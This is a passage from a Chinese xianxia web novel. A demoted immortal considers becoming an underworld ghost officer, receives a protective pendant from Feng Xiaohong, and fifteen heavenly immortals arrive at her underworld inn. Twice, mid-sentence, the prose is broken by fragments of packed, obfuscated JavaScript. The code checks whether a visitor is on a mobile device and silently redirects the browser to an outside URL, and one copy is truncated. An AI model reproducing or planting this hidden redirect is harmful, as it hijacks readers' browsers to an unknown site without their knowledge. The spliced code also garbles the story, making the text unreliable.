小四道:“听巡逻的鬼差大哥提过,好像是在征招鬼差。” 小三提醒道:“大掌柜刚刚都说了,自然是真的。” 小四吐槽道:“大掌柜平日也是不关心这些的,万一有假呢?” 小三又道:“你刚才不是说,巡逻的鬼差也说了地府在征招吗?” 小四委屈道:“怎么又绕回来了,我刚刚就是说的这个啊。” 小五从梯脚处绕了出来,道:“上君去做鬼差也挺好,以后进出地上地下,就再没人拦着了。” 正在擦一张桌子的小三道:“小五,我看你是想日日拿上君练手才这样说!” 小五撒娇唤道:“姐姐…上君人样梳妆你不觉得好看吗?再说了,上君肯定喜欢自由自在的二十五年,姐姐要不要和我赌一赌?” 小三没搭话。 小五刚好走到酆小洪一侧,酆小洪又正巧闻声侧头,两人便对视了。 两只辫子一荡,小五眨了眨大眼,酆小洪眼里漏出些许诧异,随后恢复正常,盯着小五的双髻双辫又看了一会儿,了然笑笑,轻勾手指,小声柔语道:“上君的发髻是你梳的?” 点了点头,小五特别自豪。 酆小洪赞叹道:“挺好看的。” 他依稀记得,第五茗特别怕麻烦,这种发髻和浑身的累赘物…以前从不会弄。 可第五茗一贯是拒绝不了撒娇的小丫头… 想着小五应该又是另一个爱在第五茗跟前闹的小孩,酆小洪轻笑一声,道:“好看是好看,但上君应该会嫌麻烦。 小五震惊,道:“你怎么知道?” 那方,雨无伤来到四方桌,选了一方坐下,与酆小洪相□□头示意后,悠悠地接着小五的话,道:“仙君好像很了解上君…” 小五八卦道:“仙君先前烧金辉,着实把我们吓了一跳,但现在看来,仙君也挺好说话的,和上君一样…身上没有小鬼害怕的金光,说话也客客气气…” 酆小洪挑起一眉,依旧温柔笑道:“是吗?” 一壶酒和一套杯子放在了桌上,小一顺手拉走了围着酆小洪叽叽喳喳的小五,又顺手让其他两人跟着一起离开了大堂。 楼上的小二刚下楼,还没凑上热闹,就被小一拉走了。 埭骰埭桡没了引路的人,二人挪到方桌旁,在最后一条凳子上,挤着一起坐了下来。 一张桌子坐满了人,第五茗不管不顾他人眼色,埋头苦干,嘴里还神神叨叨,手上木筷点了又点。 算了许久,第五茗只得来一阵长长的叹息。 酆小洪倒了一杯茶酒,推到她手旁。 第五茗一眼未看,只顾着唉声叹气,心道:这难题…难解啊。 做鬼差…挺好的。 不做鬼差…挺不好的。 应征鬼差一职…她这身体不一定能经受住十殿修炼魂体之行。 可是,不应征鬼差一职,这二十五年去哪呢?再放一碗血把命数消了? 但眼下明明有一条更好的路… 手一摆,挨到了冰冰凉凉的杯壁,回了几分神,她便顺手端起酒杯,送到嘴边,木筷‘嘚嘚’地继续点在桌上。 第五茗自然而然地唤道:“隗七啊,你说说…” 话未说完,她默了声,碎碎的‘嘚嘚’声也戛然而止,堂内静谧异常。 雨无伤环顾四周,怔然道:“隗七?” 这期间,堂内并未多一人,埭桡疑惑道:“隗七?谁?” 同样转了转脑袋的埭骰,答道:“不认识…这里只有我们五人,是不是叫小一兄弟他们。” 只有第五茗知道…她刚刚干了什么,转头,面漏尴尬,对沉默不语的酆小洪,愧疚道:“抱歉,仙君…” 放下手中木筷,和另一只手中的酒杯,她懊悔不已,继续道:“方才恍神了,把你误做了他人。” 道歉是有了…但酆小洪好似没打算接收。 酆小洪脸色并没有变多少,问道:“上君也算过了,可是有了决定?” 端起酒壶,第五茗自己给自己又斟了一杯,道:“算不出来…” 埭骰道:“在算什么?” 雨无伤漠然道:“你们二人锁了阳寿未尽人的魂魄,如今枉死城魂满为患,刚好冥界地府在征招,她考虑要不要去做鬼差。” 埭桡道:“的确是缺人,这事我们兄弟二人清楚。” 埭骰一把拿过第五茗面前的筷子,在桌上学着点了点,激动道:“这有什么可算的,小明对勾魂引路一事很是熟悉,有机会的话,肯定得去做鬼差啊。” 他前倾身子,半撑在桌子上,离第五茗又近了两厘,诱惑地道:“小明…你可能不知道,鬼差又称鬼仙,虽然小鬼刚做鬼差还不是仙,但慢慢积功德,修炼体魄,还可能有机会飞升到天上做神仙。你是在担心什么吗?我们兄弟二人都可以做下来,你也可以的。” 埭骰是几人当中最激动的,上前的身子,越凑越近,酆小洪翻了两个空杯子,顺着桌面,推向埭骰,逼得埭骰节节后退,直到埭骰身子离开桌面,坐回了凳子上。 那厢,埭桡见状,一边赧然地陪笑,一边用手臂钳制住了埭骰。 须臾,酆小洪才停下了手上的举动,转手将酒壶提到了空盏旁,随即淡淡看了二人一眼,示意他们安静喝酒。 酒水滴答倒出,酆小洪道:“上君想不出来便不用想了。” 第五茗道:“我再考虑考虑。” 雨无伤切中要害道:“上君还需考虑?这应该是很好决断吧?更多的…难道不是应该担心十殿试吗?” 有些时候,第五茗是真的不想同雨无伤讲话,但奈何她又知道雨无伤是无心的。 她白了雨无伤一眼,随即望向酆小洪,道:“没错,我是在担心十殿试。” 答案出来了。 应征鬼差职,留在冥界地府。 她想去。 酆小洪笑道:“上君担心这幅身体不行?” 第五茗点了点头。 雨无伤一脸我就知道是这么回事的表情。 唯独在场的另外两位无常,一脸迷糊。 吞咽下嘴里的酒水,埭骰不解道:“什么十殿试?” 埭桡冷了埭骰一眼,埭骰缩了回去,拿酒杯挡住嘴,小心翼翼地看着其他人。 沉吟片刻,第五茗道:“十殿试自然是十殿阎罗出的试验,普通小鬼,身不具大功德,想要越鬼身修炼出魂命,就只有通过十殿试。而做鬼差阴帅,第一步,就是要把魂体修炼出魂命。” 讲到这里,停顿片刻,在埭骰埭桡身上来回看了两眼,她接着道:“你们二人机缘之下,身负功德,魂体精壮,不用去十殿走一遭,稍稍有点心性,经一殿殿下刻名发牌,魂体便会自出,也就能直接走任了。” 埭桡叹道:“难怪…我和埭骰并不知道十殿试。” 埭骰弱弱道:“这有什么好担心的,小明看着和平常人没什么不同,身体瞧着也不差,既然别人都能行,小明也应该去试试的,若是能做鬼差,我们就是同僚了,不仅能在通冥牌内再见,指不定还有机会一起同行。” 雨无伤端坐身子,道:“这白无常说的有点道理,上君现在虽不是平常人魂魄,却是比平常人都强,别人都能过,上君应当去试试。” 面上看来是这样没有错… 第五茗扶额道:“若是我从孽镜台里走不出来呢?” 想起一殿里的那面石镜,雨无伤难得面上情绪自然地愁虑了一回,她好像从心底里很害怕孽镜台。 埭骰埭桡不知道说什么,只能跟着一起担忧。 这时,酆小洪淡淡开口道:“上君去吧,我觉得你一定能走出来。” 第五茗微微一笑,盯着酆小洪毫不躲避的眼睛,单手撑头,若有所思,玩味道:“一定?这么肯定?你算过了?” 缓缓点头,酆小洪道:“我算过了,上君知道,我算术很准。” 泄露天机,酆小洪身上却没有被反噬的征象。 撒谎也不打打草稿,第五茗又笑了笑,一改方才紧张忧愁,声音不大道:“好,仙君这样说,那就去试试吧。” 顺手翻起桌上空杯,她一边拿酒壶,一边道:“这一杯算是还先前路上答应请仙君的那一份。” 酆小洪道:“好,多谢上君。” 第五茗斟满一杯,推了过去,道:“不用谢,这一杯只是开始,除了这一壶,还有很多。” 酆小洪毫不犹豫,一口饮尽,道:“好酒。上君递来的茶酒想来都是极好的。” 他也给第五茗斟满一杯,道:“上君,请。” 第五茗道:“好。” 桌上其他人,听两人相互劝酒,也起了酒意,没人相劝,也跟着自己给自己倒起来,不见得像是有什么心事,自己又独自喝自己的,很是无脑。 不似第五茗,她愁容满面,一眼便能看出来,她脑中思绪繁杂。 哎… 这也不怪她,谁叫自“死”了以后,身边多了一个处处有心,又处处无心的鬼呢。 从平安村开始,酆小洪就在试探她留在冥界地府的心思。 一路上,酆小洪好像又特别担心她魂魄受损…土地庙,更是不顾小鬼死活,释出金光和法器,断了阮瓀一只手。 到了城隍庙,转赠千年茶酒,让她沉睡四日,错过肉身还魂的时机。 黄泉路、望乡台、野狗岭、金鸡山…酆小洪可以说是比两无常更在意她…的魂体。 到此时此刻,主动揭明来意,烧神格还愿。 心思可昭。 第五茗心中却存疑… 难道就真只想让她一个被天界罢黜仙职,没了仙力的人,来冥界地府做一名鬼差? 那…做鬼差之后呢? 应该是还有其他想法吧。 懂得又多,知道的也不少,清楚她以前的小习惯和喜好,可那漫长的日子中,她虽广结善缘,但…从未有一人真正在她身边停留,还能对她知道的如此深。 一场无声的酒局,众人醉得也快,第五茗躺在床上辗转难眠,想了许久也没有想明白,便开始细细回忆起过往仙途中,可否真为小鬼做了什么不得了的事。 想着想着,倒是在平旦时分,迷迷糊糊睡了过去,连她自己都不知道,她嘴里梦话连篇:“隗七啊…你觉得该如何…他们…他们也觉得我…该去…你倒是…出出主意…” 咚咚… 咚咚咚咚! 次日清晨,第五茗的房门响起一串叩击。 因为琢磨应征鬼差一职的事,第五茗一整晚都没有睡好,和活着做人时一样,梦境不断。 门一响,她灵台清明,干脆穿了外衣,起了身。 看见门口的酆小洪,第五茗诧异道:“我还以为是小一,怎么是仙君你啊?” 左腿子街上传来的数道气息,让酆小洪焦灼道:“上君可以让我先进去再说吗?” 这个时辰,除了一贯早起的小一和小三在收拾,堂内空空,众人都还在房间里休息,倒是店外,惯常喜欢遇见点事,就“咯咯咯咯”不停地姬小鸡,在胡乱鸣叫,有小小的声音传了进来。 朝门外左右看了看,第五茗侧身,让酆小洪进了屋,屋门却被酆小洪反手带上了。 第五茗双眼瞪大,盯着那门栓看了良久。 直到酆小洪在里唤道:“上君?” 第五茗“嗯?”了一声,转身进屋,她沉默了一会儿,在桌旁站着倒了一杯雪水,道:“仙君,坐。” 酆小洪选了一方落座,她登时装作忙碌,寻了对面最远的那方,俯身挪出一根凳子,坐下道:“仙君这么早来敲门,是有什么事吗?” 酆小洪掏出一件东西放在了桌子上,肃然道:“向上君还愿。” 那是酆小洪一路挂在腰间的的佩印,只是青色绦绳换了一副。 第五茗想起昨天在二楼廊道说过的话,伸手拿起桌上的东西,仔细把玩,道:“这是什么宝贝?” 酆小洪也不谦虚,毕竟佩印的威力,早在平安村土地庙时就已经显露。 他道:“是一个挂坠,也算是法器,上君没有法力,魂身单薄,遇到什么事,它应该能保上君一时。” 之前第五茗就注意到这佩印了,只是模样制式过于普通,和酆小洪如今的容貌一样,她只当是酆小洪淬炼时不上心,现在拿到手上细看,更是觉得普通无其,甚至是选来挂在腰间都会觉得俗气。 第五茗把佩印放回了桌上,试探道:“贵重吗?” 酆小洪道:“还好,不算贵重。” 可能真的睡得不好,脑子也懒得转动,加上酆小洪这句话说得陈恳,第五茗当即心里犯嘀咕道:昨日还烧神格,今日就随便找一个地摊货? 怎么回事? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547215|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那日土地庙瞧着,这东西还算一件上乘的宝贝,如今拿在手里,却是一点也感觉不到呢? 还不如送两三瓶新生水… 她嘴上喃喃道:“那仙君多给我几个呗,你也看得出来我没什么能力,万一真如雨无伤和你说的一样,我去过十殿试做鬼差了,到时候遇见的麻烦肯定不少,若是这宝贝仙君一次性炼得多,那就大方些,让我多挂几个带着,我不嫌麻烦的。” 昨晚胡思乱想一夜,此刻话不经脑,脱口而出,现在看来,多少有些像是她在发疯了。 酆小洪身形一顿,很明显他也没想到第五茗会提这种要求,迟疑道:“我…” 房间内,气氛一时有些尴尬,第五茗哈哈大笑,收了桌上的佩印,道:“方才的话,仙君不会当真了吧,人间二十年的交情,虽在神鬼面前,不过沧海一粟,但也足够知一人性情,我惯常如此,仙君别太较真啊。我先前与你恩泽时,应当是没想过有所回报的,现下,仙君来还愿,多多少少…” 拿着佩印,她放在手中握紧,道:“多多少少我都受了,仙君切莫像昨天一样,冲动做那种损害自己的事。” 连带着,第五茗手中昨日结下的仙君誓约——划在手中的那道金痕,淡淡消没了。 酆小洪却缓缓地解释道:“不是不想多给上君几个,而是这挂坠,我只得了这一个。” 想起昨天烧神格的场景,第五茗心中忽然有一种猜测:这仙君,会不会就是因为没什么送得出手的东西,所以昨天才冒冒失失地当众烧神格给我? 或许… 我把别人想得太过了。 第五茗脑袋昏昏沉沉,脸色没有小五涂脂抹粉,又是一片青绿苍白之色,她无力道:“仙君…这东西,你确定于你而言不贵重?坏了我可赔不起。” 酆小洪点头道:“不贵重,它坏了没事。” 犹豫了一会儿,他补充道:“希望上君能日日带在身上…” “日日?咳咳咳…” 第五茗手握佩印,急抵嘴前,咳了数声,在喝了酆小洪递过来的一盏雪水后,才慢慢扯出嘴角,笑了笑,一副收到礼物的开心模样,道:“好吧,谢谢仙君的一番心意。” 然而,她心里却沉重道:日日收藏?这…是不是说明,东西可能对我来说不贵重,可是对你来讲…指不定是最贵重的吧。 两人相顾无言,酆小洪有一口没一口地喝着雪水,第五茗觉得有些不自在,问道:“仙君这么早找我,就只为…还愿这一件事?” 酆小洪轻轻“嗯”了一声,脚下没动,低头慢慢喝着雪水。 第五茗“哦”了一字,两人又开始沉默地面对面坐着。 对面那一杯雪水就好像装进了玉瓶里,酆小洪久久喝不完,好不容易,第五茗终于等到那杯中水尽,刚准备开口送客,“哗啦啦…”一阵清脆响声,酆小洪又给自己倒了一杯。 第五茗:“…” 可能是察觉到对面第五茗有所动作,酆小洪到底是抬头朝对面看了一眼,脚下却是依旧未动,连身子都没偏半分。 他柔和地笑了笑,指着第五茗面前空了的杯子,主动问道:“上君也还要一杯?” 额… 我不是也还要一杯。 我是希望你不要再有下一杯了。 第五茗心里吐槽,面上却笑盈盈道:“嗯,早起有些口渴。” 酆小洪附和道:“是的。” 说完,他给第五茗又斟满了一杯。 请神容易送神难,第五茗第一次明白这句话。 而房门门栓还被落下了… 这送神就更难了。 端起茶杯,第五茗猛猛往嘴里灌。 酆小洪满眼惊讶,道:“上君看来是真的很渴。” 喝完一杯,酆小洪又给倒满一杯,咕噜咕噜…一顿狂饮。 第五茗打了一个饱嗝,一手半撑脑袋在桌上,一手拿起酆小洪刚放下的空壶晃了晃,她跟着晃了晃,道:“没了…” 酆小洪嘴角难抿地笑了,温声道:“上君还要吗?” “嗝”~第五名喝太多了,她摇摇头,放下茶壶,道:“仙君看着应该还是口渴的,你只能去堂内让小一他们给新上一壶了。” 听了这话,酆小洪才顿然,原来第五茗是想逐客。 酆小洪站起来,整理衣服,顺手拿起桌上空壶,道:“嗯,我先下去。” 闻言,第五茗心中高兴,坐起身子,欢送道:“仙君请便。” 到了门口,酆小洪手搭在门栓上,栓子还没抬起来,听见门外闹哄哄的声音,手上动作跟着停住,迟疑地转回身,欲言又止。 第五名身子刚瘫软松懈,见酆小洪扭身回来,立即端坐起来,道:“仙君是还有什么事吗?” 酆小洪道:“上君昨夜没休息好吗?” 摸了摸脸,第五茗反问道:“脸色很差吗?” 酆小洪道:“还好,看着不如昨日丽佳。” 轻拍了拍脸,第五茗又揉了揉,道:“现在呢?” 酆小洪脸上依旧是那副关心模样,第五茗放弃道:“昨日夜里想了许久应征鬼差的事…” 也想了许多遍你… 想你究竟是什么意图。 说起来,面色不好,你还是罪魁祸首之一。 第五茗揉了揉眉心,叹气道:“就这样吧。” 酆小洪却提议道:“昨日为上君梳妆的姑娘,手挺巧的。” 第五茗眼眸微亮,询问道:“昨日的妆容很好看吗?” 酆小洪面上浅笑,似在回忆,须臾,点头肯定道:“好看。” 第五茗羞赧道:“哦…是吗?那今日入鬼门关,让小五再为我画一次?就是那些配饰太繁缀了…” 酆小洪道:“上君不用饰品装点也很好看,只是现在魂体刚离开肉身,气色不好,可以让那小姑娘为你补补面色。” 第五茗觉得这建议不错,道:“嗯…倒是可以。” 门栓抽落,酆小洪道:“上君就在房内等一会儿,我去帮你把人找来。” 第五茗提醒道:“仙君不用亲自去,唤一声小一,让他去。” “好。” 楼下纷杂的声音越来越清晰,酆小洪出了第五茗的门,挥手便落下一道法印,将楼下嘈杂声音隔绝于门外。 刚出房门的雨无伤正好看见这一幕,挠头问道:“仙君昨晚是歇在上君房里了?你刚刚这是在做什么?” 说着,她指了指门上那道闪着金光的法印——刻纹和消音符一模一样。 酆小洪提着茶壶,另一手背在身后,朝楼下望去,道:“下面太吵了,上君昨晚没休息好,加一道消音符。” 答了第二问,没回第一问,换做思维正常的人,现在脑海中都该浮想联翩了,然而雨无伤只是眨了眨眼睛,睡眼惺忪道:“食时了,还早吗?上君还在休息?” 酆小洪悠悠地道:“起了,但太吵,会影响心情。” 雨无伤道:“原来如此…过往上君晚上折腾太久睡不好,第二日听见别人多说两句,就会撒脾气,我们还当她是醉酒没醒,竟是她心情不好才这样。” 桩桩件件,浮现于雨无伤眼前,想起第五茗那恼人的样子,她对酆小洪的举动,此刻是肯定得不能再肯定,一点也没存疑。 38. 飞升十仙皆在此4 店门口的声音渐渐疏散开,楼梯上传来脚步声,楼下的对话声也一条一条地清晰起来。 雨无伤和酆小洪的注意力都被楼下传来的声音吸引了过去。 二人听得… 小二好像在门口迎客,语气如平日,热情十足,道:“大人们,请里面进,可以先在堂内坐一会儿。” 一串极轻的脚步声,落入店中。 更多是衣袂飞舞,划破阴风的割裂声… 簌簌一阵。 接着,二人再度听见了小二的声音,他道:“各位店掌柜,大人们,你们别凑热闹了,当心被金光伤了身体,还是回自家店中吧。” 金光? 雨无伤反应过来,可能是调令上指派来冥界地府的仙君们到了。 毫无征兆地,她主动对一旁的酆小洪解释道:“近日迷魂店零号要接待几位仙君。楼下可能是那几人来了。” 酆小洪仔细聆听楼下的动静,淡淡地“嗯”了一声,脸上却没有过多表情,恍若知道楼下来的是何人。 楼下店前,人群不散,小二又扯着嗓子,道:“回吧,各位都回吧,你们这样瞧着也不是回事儿,这不是把我们店当马戏园了吗?回吧,各位…请!” 小二的话可能不太恰当,一串细碎的脚步声后,小三也在门口帮忙吼道:“各位若是不听劝,大掌柜起来了瞧见,定是要生气的,到时候左腿子街上又出了什么新章程,各位到时候可不要来哭诉。” 万籁俱寂,这一语,的确把门口的围观之人唬住了。 倒是一个赖在这条街上迟迟没投胎的小鬼,胆子大一些,他大喊道:“左腿子街…不对,冥界地府一次来这么多仙君,也不让我们先瞧瞧,平日里拜神求佛,如今死了,好不容易走了运,遇见这么多,就让我们多沾沾福气啊。” 小二声音再次响起,他解释道:“若是想求福源,去仙君们的庙宇比在这里好,实在不行,可以入了鬼门关,去地藏王菩萨的莲花座下祈福,不管怎样,都是比在小店门口围观好啊。诸位不常和仙君们打交道,他们身上的金光是很伤小鬼身的,若不是我在门口挡着,各位店掌柜的和大人们沾了金光,魂魄指不定要破损一两处…你们就不要再凑热闹了。” 这话可说不得…门前小鬼们揪着小二的言辞,频频理论:“什么叫我们不常和仙君打交道!!” “你们店,就仗着掌柜的是孟婆大人,做事、说话,太不讲情面了。” “凑热闹?咱们这也是敬仙君,怎么就变成凑热闹了。” “好东西都叫你们占着了…” … 嘈嘈杂杂,门前又是一片混乱,小三责怪道:“话多生事,小二你这说的什么啊,况且你说的他们能明白吗?” 小二道:“我哪里说错了吗?仙君来时,若不是姬掌柜来报信,那么早的时辰,我怎么会知道取冥钱黄纸去迎接仙君们,怎么到头来是我们不对了。” 心意被曲解,小二纵使一直热情待人,此刻,也不免因为觉得委屈,而垂头丧气。 他喃喃道:“总不能上前去叫仙君们收了金光,让他们瞧个仔细吧。” 突然,一个雄厚声音,底气十足地吩咐道:“闭门。” 好一会儿,小二和小三的声音才同时响起,道:“是。” 门前的是非,就这么简单粗暴的解决了。 门外骂骂咧咧的吵闹,没一阵,店内也听不见了。 原是小一和小三细心地在门栓上,贴了一张店内常备的消音符。 店内总算恢复平静。 那厢,楼梯上的脚步声终于走到了头,上来的人是小一。 他看见雨无伤和酆小洪正好站在廊道上,便朝二人拱手行礼后,直接道:“大掌柜,天上来了十五位仙君。” 雨无伤反问确认道:“十五位?” 小一毕恭毕敬地道:“是。” 他又重复报了一遍,道:“天上来了十五位仙君。” 酆小洪默不作语,在一旁静静地看着二人。 雨无伤抬手翻掌,幻出冥界地府给她的调令,仔细数了数,上面却只写了九名仙君。 担心计数出差错,雨无伤抬起另一只手,伸出手指,在调令上一个人名、一个人名地数着。 确定调令上仙职只有‘九’时,她才问道:“问过了吗?为首的是哪方仙君?” 小一道:“雷部真君风有情。” 什么!!风有情!!! 雨无伤刚睡醒的脑袋变得异常清醒,却又立马变得慌乱无主,她脚下不受控制地来回走了几步,嘴里碎碎念道:“怎么会有他…他为什么会来…他来干什么…” 卡着小步子,雨无伤弯着腰身,鬼鬼祟祟走到楼梯口,从楼间挡板的缝隙中,悄悄朝楼下探去。 大堂内,根本不用雨无伤特意去分辨,只消扫一眼就能认出,堂内最中间,那张只坐了一人的桌子,便是这群仙君中仙职最大的。 银鳞战甲,盘龙发冠,青丝高束,浑身一丝不苟,散着最刺眼金光的… 天界将帅! 他正是小一口中的雷部真君风有情。 风有情端坐在凳上,其他仙君,分别坐于其他桌子。 而除开仙君们,堂中还有从门口解脱出来的小二等人,他们身上各贴着一张冥钱黄纸,手中端着雪水,穿梭于桌子之间,恭恭谨谨地为仙君们侍奉。 风有情唤道:“小二。” 刚给一桌上了雪水的小二,匆忙走至风有情桌子旁,弯腰揖礼道:“大人有什么吩咐吗?” 侧目而视,风有情看了来人一眼,又瞥了眼离他桌子最近的小四,俨乎其然道:“你们掌柜呢?” 以前仙君都是一两个的来,要么是急来急去,办了事就走,要么就是犯了事的,顺便停留一两日,但大多都是把这当普通客栈,从没有这么大阵仗的出现过,也没有一来就张口要找店掌柜。 小二一时有些紧张,说话哆哆嗦嗦,道:“小一已经去楼上请店掌柜下楼了,大人这么早赶到,可否用过早膳?可是口渴了?或者要不要尝尝冥界地府的特色茶酒?” 大早上的… 竟连茶酒都问了出来。 风有情睨了一眼小二,抿了口杯子中的雪水,冷冷道:“早些叫你们店掌柜来迎接。” 小二点头哈腰道:“好,这就去催。” 楼梯上又是一阵脚步声,雨无伤早跌坐在梯步中,小一躬身而至,蹲在她身侧,提议道:“大掌柜,你看要不要去请小掌柜下去?” 雨无伤木楞道:“对对,找上君去。” 小一扶着雨无伤站起身,行至第五茗房口,酆小洪还站在那里,他伸手拦住了二人,把空茶壶递给了小一,道:“上君房里的水没了,你再去接一壶,另外,上君还未洗漱,先不要去打扰她,真着急,去把昨日为上君梳妆的姑娘叫来,不然上君蓬头垢面的,如何接迎楼下那群人。” 廊道的另一边,门吱呀一声开了,埭骰埭桡从里面一前一后走出来,二人刚落脚在廊道上,便被楼下传来的金光,惊吓在地。 二人双双举起无常袍袖,挡在脸前。 埭桡惊恐道:“楼下发生什么事了?” 埭骰也很慌张,急忙道:“我们要不要先进屋…等等,会不会是小明?” 埭桡不做怀疑,顺着埭骰的话,道:“啊…不会又是酆小洪他们二人吧!” 俗话说,逢乱必会再增乱。 埭骰埭桡这样觉得,此刻不问缘由地把金光和第五茗他们想到一块儿,而廊道这边,站在第五茗门口的三人,见两鬼身无常莽里莽撞地赤裸迎接金光,也觉得状况越发糟糕。 雨无伤自顾不暇,小一想上前扶起埭骰埭桡,酆小洪却先蹙眉,音量不小道:“你们二人回屋待着。” 埭骰埭桡这才看清,这边还站着三个人。 埭骰道:“他们三个怎么没事?小明是不是还在房里?” 闻言,小一指着胸前的冥钱黄纸,贴心为埭骰埭桡解释道:“楼下来了几位仙君,他们没有收起震慑妖鬼的金光,两位大人若是没有什么特别重要的事,可缓一缓再出门。” 二人摊在地上的四肢,听了酆小洪和小一的话,开始慢慢挪动,在为金光所伤前,勉强爬回了门内。 埭骰不忘向雨无伤叮嘱道:“店掌柜,小明和酆小洪也是刚刚做鬼的,还请你们照顾一二。” 门关上之前,埭骰又朝三人这边瞟了一眼,不看还好,这一看却叫他发现酆小洪身上并没有和小一一样地,在胸前张贴冥钱黄纸。 他眼中十分惊恐,心中是既担忧,又疑惑,想再出一趟门,告诫酆小洪几句,门却被埭桡堵着,且已经关上了一半,他只能收了疑惑,趴在埭桡身后,心惊肉跳地大口喘气。 埭桡也非铁石心肠,留下一言道:“仙君金光伤身,各位也多躲着点吧,切莫损在这里了,若是有什么需要帮忙的,随时呼唤我们兄弟二人。” 雨无伤和小一连连摆手,示意二人放心。 酆小洪倒是出人意料地跟着雨无伤二人点头,并淡淡“嗯”了一声。 廊道这边,埭骰埭桡的门关上后,楼梯上的人也到了。 正是刚刚被风有情使唤的小二,他脚刚站稳,就粗喘道:“大掌柜,下面仙君在催促了。” 小二急,雨无伤也急啊,可急也没有办法。 若她知道风有情会来,那是万万不会接这份调令的。 她茫然道:“知道了,你们小掌柜还没起,去叫小五上来,赶紧给你们小掌柜收拾收拾,让她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547216|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。” 小二疑惑道:“大掌柜,你不下去吗?” 雨无伤道:“不去。” 小二不解道:“啊?不去了吗?楼下已经在催了,那可是一群仙君…” 雨无伤道:“仙君又怎样,让他们再等等。” 就算帝君来了也没用… 更何况下面还来了不该来的人,雨无伤是万万不可能去了。 她和风有情的事,因这地下换了一批又一批的小鬼,知道的人并不多。 根据从那时起,就还留在冥界地府的小鬼描述,后人也只晓得一个大概——雷君孽镜台抽丝,孟婆忘川河洗身。 唯一传言不绝,大事宣扬的一则内容,便是当时两人惨叫声遍布地下,使闻者哭泣,听者落泪。 可这些,雨无伤都不记得了… 她脑中曾依稀闪过一些碎片,那便是她和风有情见面,她会吃很大的苦头,身上、头上、四肢…会灌满忘川河水,直到冰凉刺骨,疼痛难忍,无知无感。 也是这些记忆碎片,让她打心里逃避和风有情有关的一切。 再加上她本就是从忘川河水里出来的女鬼,本就是冥界地府的一个怪人,心里的执念便是做和别人一样的正常人,所以遇见和风有情有关的事,她能躲的都尽量躲着。 躲着躲着…日子居然就真的越过越好,她没再莫名其妙地浸在忘川河水中,她也和常人越来越像。 今日撞遇风有情这事,她着实有些措手不及。 还好第五茗提前回来了… 猛地,她脑中想起了一件事。 她得了调令后,特意来迷魂店零号想让小一传消息给第五名,让她知晓的一件事。 雨无伤又幻出了那份调令。 看着那份名单,渐渐入神… 她记起来了!! 她昨日特别急迫想告诉第五茗的话,便是…第五茗让她留意的那十七人,竟早在万年前就同时飞升了十人,而这十人中有九人,今日都会因风雨江灾祸一事,来迷魂店零号内,听候东岳帝君调遣,协助冥界地府,处理这批亡魂。 可是,现在想起来好像已经来不及。 他们人到了,还多带来了一个风有情。 她现在得赶快逃了。 复又抬手,幻出笔和纸,雨无伤潦草写下此事,一边写,一边对小二吩咐道:“待会儿告诉上君,奈何桥有急事,我先从后门走了。” 落墨收笔,雨无伤把纸折了两三下,塞给小一,道:“小一,你最能干,好好在下面伺候着。还有,找个时间把这东西给上君,我就不等上君出来了。” 两件事交代完毕,转身对酆小洪施了一礼,她…居然当着酆小洪的面,毫不避讳,直接施法捏诀遁走。 一溜烟的,连给小一和小二反应的时间都没有。 小二懵懵的,看着面前只剩一扇门的地方。 小一则拿着纸条和茶壶,若有所思。 说实话,酆小洪幸好顶着的是这幅鬼容,不然他该是说不出调侃的话,他道:“你们大掌柜,逃事的时候倒是挺像一个人了,就不知上君是怎么忍受得住的。” 小一毕竟是迷魂店零号的人,他躬身有礼道:“大掌柜有自己的苦衷,她平日也不是这样,让仙君见外了。” 回头,他对小二吩咐道:“去找小五上来,为上君整理面容。” 小二应道:“是。” 他便躬身退下了。 小一又对酆小洪道:“仙君是要在这里等上君一起吗?” 酆小洪摇头道:“不了,我先下去。” 紧接着,脚步迟钝,他抬步下楼前,道:“迷魂店零号接引仙君的调令内容,你可清楚?” 小一答道:“清楚的,大掌柜前几日就给我们几人看过文书了。” 酆小洪心中了然,道:“那就好。上君刚回来,待会儿她下去以后,你多跟在身边一二。” 小一浅笑道:“这是自然。” 酆小洪转回身,一边朝楼下走,一边提醒道:“茶壶接上水,便拿来给我吧,我给上君送去,雨无伤走了,下面一群人,需你去应对。” 小一将雨无伤给的纸条装进怀中,提着茶壶施礼道:“多谢仙君。” 二人,一前一后,下了楼。 酆小洪不惧堂内仙君们打量的目光,自由行走,寻了一张角落里的方桌,唤来小三,要了一桌吃食。 他捡了一块糕点小口小口吃着。 堂内除了仙君,和小厮伙计,就只来了一个看似住店,又不怕仙君的酆小洪。 等了许久,见还是没有主事的人来,风有情有些不悦,来自天上仙的傲气,让她厉声唤道:“小二。” 堂内小厮身影穿梭。 却没有人回应他… 39. 飞升十仙皆在此5 原来小二刚寻了小五上楼,自是赶不及回应。 风有情的第二声催促,又来了,道:“小二!” 柜台后的小一连忙上前,手上还提了一个茶壶,正是刚才酆小洪给的。 他站在桌侧,问候道:“大人是有什么吩咐吗?” 连呼两遍,小厮才珊珊而至,且手里还提了别的东西,让风有情很是不喜。 他在天上地下还没有被如此怠慢过,声音沉了两分,愠怒道:“你家掌柜什么时候能到?本君有正事要问。” 小一答道:“大人稍安勿躁。我家掌柜刚从人道轮回而至,身上风尘仆仆,应当焚香沐浴一番,才能面见各位仙君,不然就是迷魂店零号怠慢了。” 轮回? 这和风有情得到的消息完全不一致。 他听说冥界地府的一位差使在此开店,才会决定把众仙安排在这里。 